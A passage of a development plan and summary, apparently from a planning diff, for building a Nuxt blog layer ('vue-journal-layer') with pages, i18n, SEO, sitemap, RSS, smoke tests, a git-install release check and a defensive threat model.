app/utils (pure TS, no Nuxt auto-imports, type-only imports between utils, so node --test can import them with explicit .ts paths like scrollSpy.ts): types.ts with the interfaces listed under Artifacts, mirroring the Go serializer field names exactly (snake_case, nullable where Go can emit null) plus JournalAuthor from the Task 1 contract. routes.ts: DEFAULT_JOURNAL_ROUTES, JOURNAL_ROUTE_NAMES, normalizeJournalRoutes (each value is false or a string starting with /; post must contain :slug, category :category, tag :tag, author :author; otherwise throw an Error whose message names journal.routes.<key>), fillJournalPath(pattern, params) replacing :name segments with encodeURIComponent values per segment. client.ts: JOURNAL_MAX_PER_PAGE = 30, clampPerPage (1..30, non-numeric to the default 9), encodeSlugPath (encode each / separated segment), createJournalClient(fetcher) where fetcher is (path, query?) => Promise<unknown>; methods getPost(slug) returning the data object or null on a 404 (detect status or statusCode 404 on the thrown error), listPosts, listCategories, findCategory, listTags, getAuthor, listAuthorPosts (bodies may land in Task 3/4, but signatures and types are final now); categories always carry include_empty=1 (D-24). htmlGate.ts: UNSAFE_TAG, EVENT_HANDLER, DANGEROUS_URL as the three verbatim Go regex sources with the i flag, isSafeJournalHtml(html), gateJournalHtml(html) returning { safe, html } with html set to the empty string when unsafe.
|
||||
|
||||
app/composables/useJournalApi.ts: on the server use useRuntimeConfig().journal.apiBase and pass useRequestHeaders(['x-forwarded-for']) as request headers (Pitfall 5); in the browser use runtimeConfig.public.journal.apiBase; wrap $fetch as the fetcher and return createJournalClient(fetcher). The base never comes from request input (SSRF).
|
||||
|
||||
app/journal-pages/PostPage.vue: read route.params.slug, useAsyncData keyed by journal-post-<slug> calling getPost; when null throw createError({ statusCode: 404, fatal: true }); render the title in an h1 and <JournalPostBody :html="post.content_html" />. app/components/Journal/PostBody.vue: v-html only receives gateJournalHtml(html).html when safe; otherwise render a paragraph with class journal-post-body--blocked and the fixed English text "This content cannot be displayed." (Task 3 replaces it with the i18n key journal.post.contentUnavailable). app/app.vue renders NuxtLayout around NuxtPage; app/layouts/default.vue wraps the slot in a main element with class journal-layout.
|
||||
|
||||
testing (plain .mjs with JSDoc types, because Node does not strip types under node_modules and the site app imports these from there): fixture-api.mjs exports startFixtureApi({ dir, port = 0 }) resolving { url, requests, close }: a node:http server answering the anonymous Journal API routes under /_journal/api/v1 from the JSON files in dir (posts.json array of full post objects, categories.json tree, tags.json, authors.json, rss.xml), applying page, per_page (clamped like Go), sort, category (matches post.categories[].slug), tag, include_empty, and the D-20 author routes from the Task 1 contract; show answers the post plus previous_post, next_post and related_posts (same category, latest 3) or 404 { error: "Post not found" }; every request's method, url and x-forwarded-for header is pushed onto requests. nuxt-server.mjs exports startNuxtServer({ outputDir, apiBase, port, env }) spawning node <outputDir>/server/index.mjs with NITRO_HOST=127.0.0.1, NITRO_PORT (a free port when 0), NUXT_JOURNAL_API_BASE=apiBase and the extra env, waiting up to 30 s for any HTTP answer on /, resolving { url, close }. smoke-ssr.mjs is a CLI taking --output, --fixtures, --expect and repeatable --env KEY=VALUE; it boots both servers, then for each non-comment line of the expect file (grammar: STATUS PATH, then optional contains=TEXT, notcontains=TEXT, type=PREFIX; values run to the end of the line) issues a GET without following redirects, with the header X-Forwarded-For: 203.0.113.7, and compares; after the lines it asserts that at least one fixture API request recorded an x-forwarded-for value containing 203.0.113.7 (Pitfall 5 forwarding), else it fails with reason "x-forwarded-for not forwarded"; it prints "smoke-ssr: ok (N checks)" and exits 0, or prints "smoke-ssr: FAIL <line>: <reason>" and exits 1. Fixtures (acme, neutral English): 13 published posts so a 9-per-page index has 2 pages, including hello-acme (title Hello Acme, content_html with a heading and a paragraph) and unsafe-sample whose content_html contains a script tag; categories news (content HTML present, post_count 12) and quiet (post_count 0); one tag; one author per the Task 1 contract. expect-acme.txt starts with: 200 /blog/hello-acme contains=Hello Acme; 404 /blog/missing-post; 200 /blog/unsafe-sample contains=journal-post-body--blocked notcontains=alert(.
|
||||
|
||||
scripts/check-git-install.sh TAG: set -euo pipefail, die() to stderr, tool loop for git, pnpm, node; create a temp dir with mktemp -d and trap cleanup; write a consumer package.json (name acme-blog, private, type module, dependencies nuxt 4.4.8, vue 3.5.35, vue-journal-layer git+https://git.golem15.com/golem15/vue-journal-layer.git#TAG), the same pnpm-workspace.yaml allowBuilds, and a nuxt.config.ts with extends ['vue-journal-layer'], compatibilityDate 2025-07-15 and i18n { strategy prefix_except_default, defaultLocale en, locales [{ code en, language en-US }, { code pl, language pl-PL }] }; run pnpm install; compare the commit recorded for vue-journal-layer in pnpm-lock.yaml with git ls-remote of refs/tags/TAG (peeled ^{} when annotated) and die on mismatch; run pnpm exec nuxt build; run node node_modules/vue-journal-layer/testing/smoke-ssr.mjs --output .output --fixtures node_modules/vue-journal-layer/testing/fixtures/acme --expect node_modules/vue-journal-layer/testing/expect-acme.txt; print "check-git-install: ok TAG <sha>". .playground/nuxt.config.ts extends '..' with the same i18n block; .playground/app/app.vue renders NuxtLayout and NuxtPage.
|
||||
|
||||
Commit (feat: scaffold Journal layer with configurable post route and git-install check), push main, create annotated tag v0.0.1, push the tag. Pushing the layer and its tags to git.golem15.com is part of this plan (D-04, D-19: the spike installs from the tag). If anything in the spike fails because of pnpm or Gitea mechanics (A1), stop and report the exact error rather than switching distribution (D-04 is locked); the fallback options in RESEARCH A1 need the user.</action>
|
||||
<verify>
|
||||
<automated>bash ../vue-journal-layer/scripts/check-git-install.sh v0.0.1</automated>
|
||||
<fails_when>Non-zero exit; output contains "smoke-ssr: FAIL", "check-git-install:" followed by an error, or "ERR_PNPM"; the line "check-git-install: ok v0.0.1" is absent.</fails_when>
|
||||
</verify>
|
||||
<acceptance_criteria>
|
||||
- git ls-remote https://git.golem15.com/golem15/vue-journal-layer.git lists refs/heads/main and refs/tags/v0.0.1.
|
||||
- The scratch consumer's pnpm-lock.yaml pins vue-journal-layer to the commit of tag v0.0.1 (checked inside the script).
|
||||
- GET /blog/hello-acme on the built scratch consumer answers 200 and contains "Hello Acme"; GET /blog/missing-post answers 404; GET /blog/unsafe-sample answers 200, contains journal-post-body--blocked and does not contain alert(.
|
||||
- ../vue-journal-layer/package.json has no lifecycle script named prepare and lists nuxt only under devDependencies and peerDependencies.
|
||||
- ../vue-journal-layer has no app/pages directory (layer pages live in app/journal-pages, RESEARCH anti-pattern).
|
||||
- `grep -rnE "from '(~|@)/" ../vue-journal-layer/app ../vue-journal-layer/lib` prints nothing.
|
||||
- smoke-ssr's forwarding assertion passes: the fixture API recorded x-forwarded-for containing 203.0.113.7 on SSR requests.
|
||||
</acceptance_criteria>
|
||||
<done>A site that only extends the layer from a git tag renders a Journal post as full SSR HTML, blocks unsafe HTML, and 404s unknown posts.</done>
|
||||
</task>
|
||||
|
||||
<task type="auto">
|
||||
<name>Task 3: Post list, category pages, pagination, related posts, tokens and pl/en strings</name>
|
||||
<files>../vue-journal-layer/lib/journal-module.ts, ../vue-journal-layer/nuxt.config.ts, ../vue-journal-layer/app/utils/client.ts, ../vue-journal-layer/app/utils/pagination.ts, ../vue-journal-layer/app/composables/useJournalLinks.ts, ../vue-journal-layer/app/journal-pages/PostIndexPage.vue, ../vue-journal-layer/app/journal-pages/PostPage.vue, ../vue-journal-layer/app/journal-pages/CategoryPage.vue, ../vue-journal-layer/app/components/Journal/PostBody.vue, ../vue-journal-layer/app/components/Journal/PostCard.vue, ../vue-journal-layer/app/components/Journal/PostList.vue, ../vue-journal-layer/app/components/Journal/PostMeta.vue, ../vue-journal-layer/app/components/Journal/FeaturedImage.vue, ../vue-journal-layer/app/components/Journal/Pagination.vue, ../vue-journal-layer/app/components/Journal/RelatedPosts.vue, ../vue-journal-layer/app/components/Journal/IndexHeader.vue, ../vue-journal-layer/app/components/Journal/CategoryHeader.vue, ../vue-journal-layer/app/assets/css/journal-tokens.css, ../vue-journal-layer/app/assets/css/journal-base.css, ../vue-journal-layer/i18n/locales/pl.json, ../vue-journal-layer/i18n/locales/en.json, ../vue-journal-layer/testing/expect-acme.txt</files>
|
||||
<read_first>../vue-journal-layer/lib/journal-module.ts, ../vue-journal-layer/app/utils/client.ts, ../vue-journal-layer/app/utils/types.ts, ../vue-journal-layer/testing/expect-acme.txt, .planning/phases/16-grzybyfunkcjonalne-pl-on-reusable-blog-views/16-RESEARCH.md (Pattern 3, Pattern 4, URL Inventory routing rules, Pitfall 8, A5, A8, A9), .planning/phases/16-grzybyfunkcjonalne-pl-on-reusable-blog-views/16-PATTERNS.md (CSS tokens, pages and components, i18n locale files), ../sm-summercmsio-app/vue-summercmsio-app/app/assets/css/tokens.css, ../sm-summercmsio-app/vue-summercmsio-app/i18n/locales/en.json, ../sm-journal-plugin/controllers/api/posts_helpers.go (relatedPosts, serializeCategoryNode)</read_first>
|
||||
<action>pagination.ts: parsePageParam(raw) returns 1 for an absent value, the integer for a string of digits greater than 0, and null for anything else (non-numeric, 0, negative, decimal, array); pageOutOfRange(page, lastPage) is true when page > 1 and page > lastPage (page 1 with zero posts is in range and renders the empty state); paginationWindow(current, last, size = 5) returns the page numbers to render. A null page or an out-of-range page throws createError({ statusCode: 404, fatal: true }) in the pages (RESEARCH A5: live answers a soft 200; the successor answers a real 404 — recorded as an assumption, covered by the smoke).
|
||||
|
||||
client.ts bodies: listPosts({ page, perPage, sort, category, tag }) builds the query through buildPostListQuery (per_page clamped, sort passed verbatim as "<column> <dir>"), returning JournalPage<JournalPost>; listCategories() always sends include_empty=1 (D-24, Pitfall 8) and returns the tree; findCategory(slug) flattens the tree with flattenCategories and returns the row or null; listTags().
|
||||
|
||||
useJournalLinks(): returns postLink(slug), categoryLink(slug), tagLink(slug), authorLink(slug), indexLink(page) built with useLocalePath() over the route names in JOURNAL_ROUTE_NAMES and params (never string-concatenated paths; RESEARCH A9: names gain a locale suffix, so useLocalePath is mandatory); a link to a disabled route (false) returns null and the component renders plain text.
|
||||
|
||||
PostIndexPage.vue (journal-index): page from parsePageParam(route.query.page); listPosts with perPage.index and sort from runtimeConfig.public.journal; 404 when null or out of range; renders <JournalIndexHeader :page>, <JournalPostList :posts>, <JournalPagination :current :last>. Page links use ?page=N query form (D-15; never a path segment). CategoryPage.vue (journal-category): findCategory(route.params.category); null throws 404 (an unknown root path must not soft-200, RESEARCH Pattern 3); then listPosts({ category: slug, perPage: perPage.category, page }); renders <JournalCategoryHeader :category> which shows name, description and the D-21 rich content (key from the Task 1 contract) through gateJournalHtml above the list (D-21); an empty category renders 200 with its header and the empty-state string (D-24). PostPage.vue: add <JournalPostMeta> (published date formatted with Intl.DateTimeFormat for the active i18n locale, reading_time, category links, author link when the post has an author and the author route is enabled), <JournalFeaturedImage> (featured_image_url, alt from the post title, loading lazy, width and height attributes from CSS tokens), previous and next links, and <JournalRelatedPosts> showing related_posts, or when related_posts is empty, the latest relatedCount posts excluding the current slug (RESEARCH: related_posts is empty for a post without a category). PostBody.vue uses the i18n key journal.post.contentUnavailable for the blocked notice.
|
||||
|
||||
Components (app/components/Journal/*, auto-registered with the Journal prefix so an app overrides any of them by creating the same file): PostCard (title link, excerpt, date, featured image), PostList (cards, empty state), Pagination (previous/next and window, rel prev/next), IndexHeader (h1 from journal.index.title plus journal.pagination.pageTitle when page > 1), CategoryHeader, RelatedPosts, PostMeta, FeaturedImage. Styles use only var(--journal-*) tokens; no hard-coded colours (D-03).
|
||||
|
||||
journal-tokens.css: one :root block, grouped, a trailing comment per variable naming its use (summercms.io tokens.css style): --journal-color-text, -muted, -bg, -surface, -border, -link, -link-hover, -accent; --journal-font-body, -heading, -mono; --journal-space-1..6; --journal-radius-sm, -md, -lg; --journal-content-width. Neutral greys and one blue accent so the layer looks clean alone. journal-base.css: layout, typography for .journal-post-body (headings, lists, tables, blockquote, images max-width 100%), cards, pagination. Add both files to the layer nuxt.config css array as absolute paths built from currentDir (Pitfall 9).
|
||||
|
||||
i18n (D-16): i18n/locales/pl.json and en.json with identical key trees under journal (index.title, index.empty, pagination.previous, pagination.next, pagination.pageTitle with {page}, post.publishedOn with {date}, post.readingTime with {minutes}, post.related, post.previous, post.next, post.contentUnavailable, category.empty, tag.title with {name}, author.title with {name}, author.posts, readMore, rss.title). In journal-module setup register nuxt.hook('i18n:registerModule', register => register({ langDir: absolute i18n/locales dir, locales })) where locales is the subset of pl and en whose code appears in the project's nuxt.options.i18n.locales (strings or objects), each with file <code>.json; register nothing when the project enables neither. @nuxtjs/i18n 10.4.0 calls this hook in modules:done and merges every registered locale into the app (module.mjs applyLayerOptions), so declaring locales in the layer config would add /en routes to a pl-only app — the layer must never declare them.
|
||||
|
||||
Append to expect-acme.txt: 200 /blog contains=Hello Acme; 200 /blog?page=2; 404 /blog?page=3; 404 /blog?page=abc; 404 /blog?page=0; 200 /blog/category/news contains=<the news content marker text from categories.json>; 200 /blog/category/quiet contains=<the en journal.category.empty string>; 404 /blog/category/nope; 200 /pl/blog contains=<the pl journal.index.title string>. Verify against the local playground build (no tag needed for this task).
|
||||
|
||||
Commit (feat: Journal list, category pages, pagination, tokens and pl/en strings) and push main.</action>
|
||||
<verify>
|
||||
<automated>pnpm -C ../vue-journal-layer run build:playground && node ../vue-journal-layer/testing/smoke-ssr.mjs --output ../vue-journal-layer/.playground/.output --fixtures ../vue-journal-layer/testing/fixtures/acme --expect ../vue-journal-layer/testing/expect-acme.txt</automated>
|
||||
<fails_when>Non-zero exit; the nuxt build prints "ERROR" or exits non-zero; output contains "smoke-ssr: FAIL"; the line starting "smoke-ssr: ok" is absent.</fails_when>
|
||||
</verify>
|
||||
<acceptance_criteria>
|
||||
- /blog answers 200, /blog?page=2 answers 200, /blog?page=3, /blog?page=abc and /blog?page=0 answer 404 on the playground build.
|
||||
- /blog/category/news answers 200 and contains the D-21 content marker; /blog/category/quiet answers 200 with the empty-state string; /blog/category/nope answers 404.
|
||||
- The fixture API log shows every categories request carried include_empty=1.
|
||||
- /pl/blog renders the pl journal.index.title string (the hook registered the pl messages for a project that enables pl).
|
||||
- pl.json and en.json have the same set of leaf keys under journal.
|
||||
- `grep -rnE '#[0-9a-fA-F]{3,6}\b' ../vue-journal-layer/app/components` prints nothing (components use tokens only).
|
||||
</acceptance_criteria>
|
||||
<done>Index, category and post pages paginate, 404 correctly, render category content and related posts, and speak pl or en through tokens-only styling.</done>
|
||||
</task>
|
||||
|
||||
<task type="auto">
|
||||
<name>Task 4: Author and tag pages, SEO meta, sitemap source, /rss.xml, neutral README and release tag v0.1.0</name>
|
||||
<files>../vue-journal-layer/package.json, ../vue-journal-layer/nuxt.config.ts, ../vue-journal-layer/lib/journal-module.ts, ../vue-journal-layer/app/utils/client.ts, ../vue-journal-layer/app/utils/sitemap.ts, ../vue-journal-layer/app/utils/seo.ts, ../vue-journal-layer/app/journal-pages/TagPage.vue, ../vue-journal-layer/app/journal-pages/AuthorPage.vue, ../vue-journal-layer/app/journal-pages/PostPage.vue, ../vue-journal-layer/app/journal-pages/PostIndexPage.vue, ../vue-journal-layer/app/journal-pages/CategoryPage.vue, ../vue-journal-layer/app/components/Journal/AuthorCard.vue, ../vue-journal-layer/app/components/Journal/RssLink.vue, ../vue-journal-layer/server/routes/rss.xml.ts, ../vue-journal-layer/server/api/__sitemap__/journal.ts, ../vue-journal-layer/testing/expect-acme.txt, ../vue-journal-layer/README.md</files>
|
||||
<read_first>../vue-journal-layer/lib/journal-module.ts, ../vue-journal-layer/app/utils/client.ts, ../vue-journal-layer/app/utils/routes.ts, ../vue-journal-layer/app/journal-pages/PostPage.vue, ../vue-journal-layer/testing/expect-acme.txt, .planning/phases/16-grzybyfunkcjonalne-pl-on-reusable-blog-views/16-RESEARCH.md (Pattern 5, Don't Hand-Roll, URL Inventory non-page URLs, A6, A7, Security Domain), ../sm-summercmsio-app/vue-summercmsio-app/README.md, ../sm-journal-plugin/README.md (neutral wording precedent), ../sm-journal-plugin/controllers/api/rss.go, the Task 1 "Prerequisite contract" in this plan's SUMMARY</read_first>
|
||||
<action>client.ts: getAuthor(slug) and listAuthorPosts(slug, { page, perPage }) against the D-20 routes recorded in the Task 1 contract (404 returns null). AuthorPage.vue (journal-author): getAuthor(route.params.author); null throws 404; renders <JournalAuthorCard :author> (name, and every public profile field the endpoint returns; an HTML bio goes through gateJournalHtml) and the paginated author posts with perPage.author; same page validation as the index. TagPage.vue (journal-tag): resolves the tag from listTags() by slug (404 when absent), lists posts with tag=slug and perPage.tag. Both pages are registered by the module only when their route is not false (D-06).
|
||||
|
||||
seo.ts: postSeoMeta(post, siteUrl) returns { title: post.title, description: excerpt (or the first 160 characters of the content_html text), ogType article, ogImage: absolute featured_image_url when present, articlePublishedTime: published_at, articleModifiedTime: updated_at }; listTitle(base, page, pageTitle) appends the page title string when page > 1. Every journal page calls useSeoMeta with these; the site name suffix comes from nuxt-seo-utils' title template and the app's site.name (RESEARCH A6). In the layer nuxt.config set seo.canonicalQueryWhitelist to ['page'] explicitly so paginated canonicals keep ?page=N (RESEARCH A7; nuxt-seo-utils already defaults to a list containing page, set it anyway to lock the behaviour), and sitemap { sources: ['/api/__sitemap__/journal'], autoI18n: false }.
|
||||
|
||||
sitemap.ts: buildJournalSitemapEntries(posts, categories, routes) returns { loc, lastmod? } entries: each published post at fillJournalPath(routes.post, { slug }) with lastmod updated_at, each category of the flattened include_empty=1 tree at fillJournalPath(routes.category, { category: slug }), nothing for a disabled route; never hard-code /blog/. server/api/__sitemap__/journal.ts: defineSitemapEventHandler that reads runtimeConfig.journal.apiBase and runtimeConfig.public.journal.routes, pages GET posts with per_page=30 until meta.last_page, fetches categories with include_empty=1, and returns buildJournalSitemapEntries(...) (D-13, D-24, Pitfall 5: per_page 30 keeps the request count low).
|
||||
|
||||
server/routes/rss.xml.ts: GET handler that fetches <runtimeConfig.journal.apiBase>/rss as text with the incoming x-forwarded-for forwarded, answers with Content-Type application/rss+xml; charset=utf-8 and the upstream body, and answers 502 with a plain-text body when the upstream fails; when runtimeConfig.public.journal.rss is false answer 404. RssLink.vue adds a link rel alternate type application/rss+xml href /rss.xml to the head (useHead) and a visible link with journal.rss.title; PostIndexPage and PostPage include it when rss is true. Robots: no per-page noindex on journal pages (every PHP page has robots_noindex = 0); error responses rely on @nuxtjs/robots' default handling, and staging turns indexing off through NUXT_SITE_INDEXABLE (16-03/16-04).
|
||||
|
||||
README.md (neutral: the words used are blog and acme; never name a consuming site or company app): H1 vue-journal-layer, one-sentence summary, install line (pnpm add git+https://git.golem15.com/golem15/vue-journal-layer.git#v0.1.0), then Overview, Features, Usage (extends: ['vue-journal-layer'], an acme example of journal.routes moving category pages to /:category and disabling tags), Configuration (every journal.* key with default, runtime config keys and their NUXT_ env names, the x-forwarded-for forwarding note), Theming (every --journal-* token, how an app overrides tokens on :root:root and overrides a component by creating app/components/Journal/<Name>.vue), i18n (strings are registered only for locales the app enables), SEO and sitemap, Local development (pnpm link or a link:../vue-journal-layer override, never committed), Releasing (a release is an annotated git tag; consumers bump the #tag and pnpm-lock.yaml), Testing (check-git-install.sh, smoke-ssr.mjs, fixture API).
|
||||
|
||||
Append to expect-acme.txt: 200 /blog/author/<fixture author slug> contains=<fixture author name>; 404 /blog/author/nobody; 200 /blog/tag/<fixture tag slug>; 404 /blog/tag/nope; 200 /rss.xml type=application/rss+xml; 200 /sitemap.xml contains=/blog/hello-acme; 200 /sitemap.xml contains=/blog/category/quiet; 200 /blog?page=2 contains=?page=2 (canonical link keeps the query); 200 /blog/hello-acme contains=og:title.
|
||||
|
||||
Set package.json version 0.1.0, commit (feat: Journal author and tag pages, SEO, sitemap source and RSS route), push main, create and push annotated tag v0.1.0.</action>
|
||||
<verify>
|
||||
<automated>pnpm -C ../vue-journal-layer run build:playground && node ../vue-journal-layer/testing/smoke-ssr.mjs --output ../vue-journal-layer/.playground/.output --fixtures ../vue-journal-layer/testing/fixtures/acme --expect ../vue-journal-layer/testing/expect-acme.txt && bash ../vue-journal-layer/scripts/check-git-install.sh v0.1.0</automated>
|
||||
<fails_when>Non-zero exit; output contains "smoke-ssr: FAIL" or "ERR_PNPM"; the line "check-git-install: ok v0.1.0" is absent.</fails_when>
|
||||
<automated>! grep -rniE 'grzyb|fonoteka|plytarium' --exclude-dir=node_modules --exclude-dir=.nuxt --exclude-dir=.output --exclude=pnpm-lock.yaml ../vue-journal-layer</automated>
|
||||
<fails_when>Exit status 1 with any matching line printed: the layer names a consuming application.</fails_when>
|
||||
</verify>
|
||||
<acceptance_criteria>
|
||||
- The scratch consumer installed from tag v0.1.0 passes every line of expect-acme.txt, including author 200/404, tag 200/404, /rss.xml with type application/rss+xml, /sitemap.xml listing /blog/hello-acme and /blog/category/quiet, and the canonical of /blog?page=2 keeping ?page=2.
|
||||
- git ls-remote of the layer lists refs/tags/v0.1.0 and package.json version is 0.1.0.
|
||||
- README.md contains the sections Overview, Features, Usage, Configuration, Theming, i18n, Releasing and Testing, and every journal.* key the module accepts.
|
||||
- No file in the layer repo (excluding node_modules, .nuxt, .output, pnpm-lock.yaml) matches the consuming-application name scan.
|
||||
- The layer source contains no call to a Journal write route: `grep -rnE "method: *'(POST|PUT|DELETE)'" ../vue-journal-layer/app ../vue-journal-layer/server` prints nothing.
|
||||
</acceptance_criteria>
|
||||
<done>The layer ships every Journal view, SEO, sitemap and RSS as tag v0.1.0, installable from git by any blog.</done>
|
||||
</task>
|
||||
|
||||
</tasks>
|
||||
|
||||
<threat_model>
|
||||
## Trust Boundaries
|
||||
|
||||
| Boundary | Description |
|
||||
|----------|-------------|
|
||||
| Journal API JSON → v-html | Post bodies, category content and author bios are HTML that editors or imports wrote; they cross into the DOM |
|
||||
| Browser request → SSR fetch | Visitor route params and headers shape the server-side API request |
|
||||
| Nuxt server → Go API | All SSR traffic leaves from 127.0.0.1, which Go trusts as a proxy |
|
||||
| npm/git installs | The layer pulls three Nuxt modules and is itself pulled from git |
|
||||
|
||||
## STRIDE Threat Register
|
||||
|
||||
| Threat ID | Category | Component | Severity | Disposition | Mitigation Plan |
|
||||
|-----------|----------|-----------|----------|-------------|-----------------|
|
||||
| T-16-01 | Tampering | JournalPostBody, JournalCategoryHeader, JournalAuthorCard (v-html) | high | mitigate | gateJournalHtml applies the three verbatim Go FormatHTML regexes before any v-html; unsafe values render journal.post.contentUnavailable; acme fixture unsafe-sample proves it in the smoke (Task 2, Task 3) |
|
||||
| T-16-02 | Tampering (SSRF) | useJournalApi, server/routes/rss.xml.ts, sitemap source | high | mitigate | apiBase comes only from runtimeConfig (server key journal.apiBase); route params are encoded per segment with encodeURIComponent; no request value selects the host |
|
||||
| T-16-03 | Denial of Service | SSR fetches against journal-public-api (120/min) | medium | mitigate | useJournalApi and the RSS route forward x-forwarded-for so Go buckets per visitor; sitemap source pages per_page=30; site app adds swr caching (16-02) |
|
||||
| T-16-04 | Tampering | ?page, :slug, :category, :author route input | medium | mitigate | parsePageParam accepts digits only and 404s the rest; unknown slugs 404 through the API; no input is interpolated into HTML |
|
||||
| T-16-05 | Information Disclosure | Journal API drafts | low | accept | The layer calls only anonymous GET routes; Go already 404s drafts (Phase 15 JOURNAL-005) |
|
||||
| T-16-SC | Tampering | npm/pnpm installs and the git dependency | high | mitigate | Only packages already locked in vue-summercmsio-app (nuxt 4.4.8, vue 3.5.35, @nuxtjs/i18n 10.4.0, @nuxtjs/seo 5.2.1, @nuxt/fonts 0.14.0, typescript 5.9.3) at exact versions; RESEARCH Package Legitimacy Audit approved them; sanitize-html is not installed; the layer has no install-time scripts; consumers pin the layer by tag and lockfile commit |
|
||||
</threat_model>
|
||||
|
||||
<verification>
|
||||
- Task 1 gate prints gate-ok.
|
||||
- `bash ../vue-journal-layer/scripts/check-git-install.sh v0.1.0` prints "check-git-install: ok v0.1.0".
|
||||
- The playground smoke passes every line of testing/expect-acme.txt.
|
||||
- The consuming-application name scan over the layer prints nothing.
|
||||
</verification>
|
||||
|
||||
<success_criteria>
|
||||
- vue-journal-layer v0.1.0 is on git.golem15.com and installs into a fresh consumer from the tag (D-04).
|
||||
- Post list, post, category, tag and author views, RSS link, SEO meta and sitemap work from journal.routes (D-05, D-06, D-13).
|
||||
- Categories always use include_empty=1; unknown slugs and out-of-range pages answer 404 (D-24).
|
||||
- pl/en strings register only for enabled locales (D-16); tokens drive every visual value (D-03).
|
||||
</success_criteria>
|
||||
|
||||
<output>
|
||||
Create `.planning/phases/16-grzybyfunkcjonalne-pl-on-reusable-blog-views/16-01-SUMMARY.md` when done, including the "Prerequisite contract" section from Task 1.
|
||||
</output>
|
||||
@@ -0,0 +1,326 @@
|
||||
---
|
||||
phase: 16-grzybyfunkcjonalne-pl-on-reusable-blog-views
|
||||
plan: 01
|
||||
subsystem: frontend (Nuxt layer)
|
||||
tags: [nuxt, nuxt-layer, vue, i18n, nuxtjs-seo, sitemap, rss, pnpm-git-dependency, journal]
|
||||
status: complete
|
||||
|
||||
requires:
|
||||
- phase: 15-journal-plugin
|
||||
provides: "anonymous Journal API /_journal/api/v1 (posts, posts/{slug}, categories, tags, rss)"
|
||||
- phase: quick-261009-i6e
|
||||
provides: "D-20 anonymous author endpoints /authors/{author} and /authors/{author}/posts"
|
||||
- phase: quick-261009-mgk
|
||||
provides: "D-21 category content field on GET /categories rows"
|
||||
provides:
|
||||
- "vue-journal-layer repo on git.golem15.com, tags v0.0.1 (spike) and v0.1.0 (release for 16-02)"
|
||||
- "Nuxt module configKey journal: journal.routes, perPage, sort, relatedCount, rss; route names journal-index/post/category/tag/author"
|
||||
- "typed anonymous-GET Journal client (createJournalClient) with include_empty=1 on categories"
|
||||
- "gateJournalHtml: TS port of the Go FormatHTML three-pattern gate for every v-html sink"
|
||||
- "--journal-* CSS tokens, overridable Journal* components, pl/en strings registered per enabled locale"
|
||||
- "@nuxtjs/seo meta, canonicals keeping ?page=N, /api/__sitemap__/journal source, /rss.xml proxy"
|
||||
- "testing/fixture-api.mjs, testing/nuxt-server.mjs, testing/smoke-ssr.mjs, scripts/check-git-install.sh"
|
||||
affects: [16-02, 16-03, 16-04, 16-05]
|
||||
|
||||
actuals:
|
||||
tokens: 27751 # chars/4 over the 54 tracked layer files, pnpm-lock.yaml excluded
|
||||
tasks: 4
|
||||
commits: 3 # git rev-list --count HEAD in vue-journal-layer (the repo started empty)
|
||||
commits: 3
|
||||
plan_head_before: null # vue-journal-layer was an empty repository; no base commit exists
|
||||
plan_head_after: 783426c5d84c5d7c088f1e74b01c5240811c88d2
|
||||
|
||||
tech-stack:
|
||||
added: ["vue-journal-layer (new repo): nuxt 4.4.8, vue 3.5.35, @nuxtjs/i18n 10.4.0, @nuxtjs/seo 5.2.1, @nuxt/fonts 0.14.0, typescript 5.9.3 (all already locked in vue-summercmsio-app)"]
|
||||
patterns:
|
||||
- "Layer pages live in app/journal-pages and are registered by extendPages from journal.routes; links go through useLocalePath over stable route names"
|
||||
- "SSR fetches use the server-only apiBase and forward x-forwarded-for plus the peer address"
|
||||
- "useAsyncData transforms gate and slim API rows (toPostView, toListPost) so unsafe HTML, raw content and translations never reach the payload"
|
||||
- "Layer strings registered through the i18n:registerModule hook only for locales the app enables; the layer config declares no locales"
|
||||
- "Built-server SSR smoke against a node:http fixture API with a line-based expectations file"
|
||||
|
||||
key-files:
|
||||
created:
|
||||
- ../vue-journal-layer/lib/journal-module.ts
|
||||
- ../vue-journal-layer/nuxt.config.ts
|
||||
- ../vue-journal-layer/app/utils/client.ts
|
||||
- ../vue-journal-layer/app/utils/htmlGate.ts
|
||||
- ../vue-journal-layer/app/utils/routes.ts
|
||||
- ../vue-journal-layer/app/utils/view.ts
|
||||
- ../vue-journal-layer/app/utils/seo.ts
|
||||
- ../vue-journal-layer/app/utils/sitemap.ts
|
||||
- ../vue-journal-layer/app/composables/useJournalApi.ts
|
||||
- ../vue-journal-layer/app/journal-pages/PostPage.vue
|
||||
- ../vue-journal-layer/server/api/__sitemap__/journal.ts
|
||||
- ../vue-journal-layer/server/routes/rss.xml.ts
|
||||
- ../vue-journal-layer/testing/smoke-ssr.mjs
|
||||
- ../vue-journal-layer/testing/fixture-api.mjs
|
||||
- ../vue-journal-layer/scripts/check-git-install.sh
|
||||
- ../vue-journal-layer/README.md
|
||||
modified: []
|
||||
|
||||
key-decisions:
|
||||
- "vue-journal-layer pages gate and slim API data in useAsyncData transforms (toPostView/toListPost), so the SSR payload never carries an unsafe body, raw content or translations"
|
||||
- "SSR, sitemap and RSS fetches forward x-forwarded-for with the Nuxt peer address appended, so the Go limiter's rightmost-untrusted-hop rule picks the real visitor"
|
||||
- "vue-journal-layer tsconfig.json is self-contained (no extends of a generated .nuxt/tsconfig.json), because Vite reads it from a consumer's node_modules where no .nuxt exists"
|
||||
- "The layer author page links posts by author.login (the only author key on post rows) and sets the canonical to the endpoint's slug URL"
|
||||
- "The vue-grzybyfunkcjonalne-app site repo is private by the user's choice and is checked over SSH; only vue-journal-layer must be public (D-04)"
|
||||
|
||||
patterns-established:
|
||||
- "Nuxt layer distribution: annotated git tag on git.golem15.com, consumer pins git+https://...#tag, lockfile pins the tag commit, no prepare script"
|
||||
- "scripts/check-git-install.sh <tag> as the release gate for the layer"
|
||||
|
||||
requirements-completed: [SC-2, SC-3]
|
||||
|
||||
coverage:
|
||||
- id: D1
|
||||
description: "A scratch app installs vue-journal-layer anonymously from git tag v0.1.0 (and v0.0.1), pnpm-lock.yaml pins the tag commit, nuxt build succeeds and the SSR smoke passes (D-04)"
|
||||
requirement: SC-2
|
||||
verification:
|
||||
- kind: integration
|
||||
ref: "bash ../vue-journal-layer/scripts/check-git-install.sh v0.1.0 -> check-git-install: ok v0.1.0 783426c5d84c5d7c088f1e74b01c5240811c88d2"
|
||||
status: pass
|
||||
- kind: integration
|
||||
ref: "bash ../vue-journal-layer/scripts/check-git-install.sh v0.0.1 -> check-git-install: ok v0.0.1 6f6792f51c3b437490a38ef3fb5e906447726139"
|
||||
status: pass
|
||||
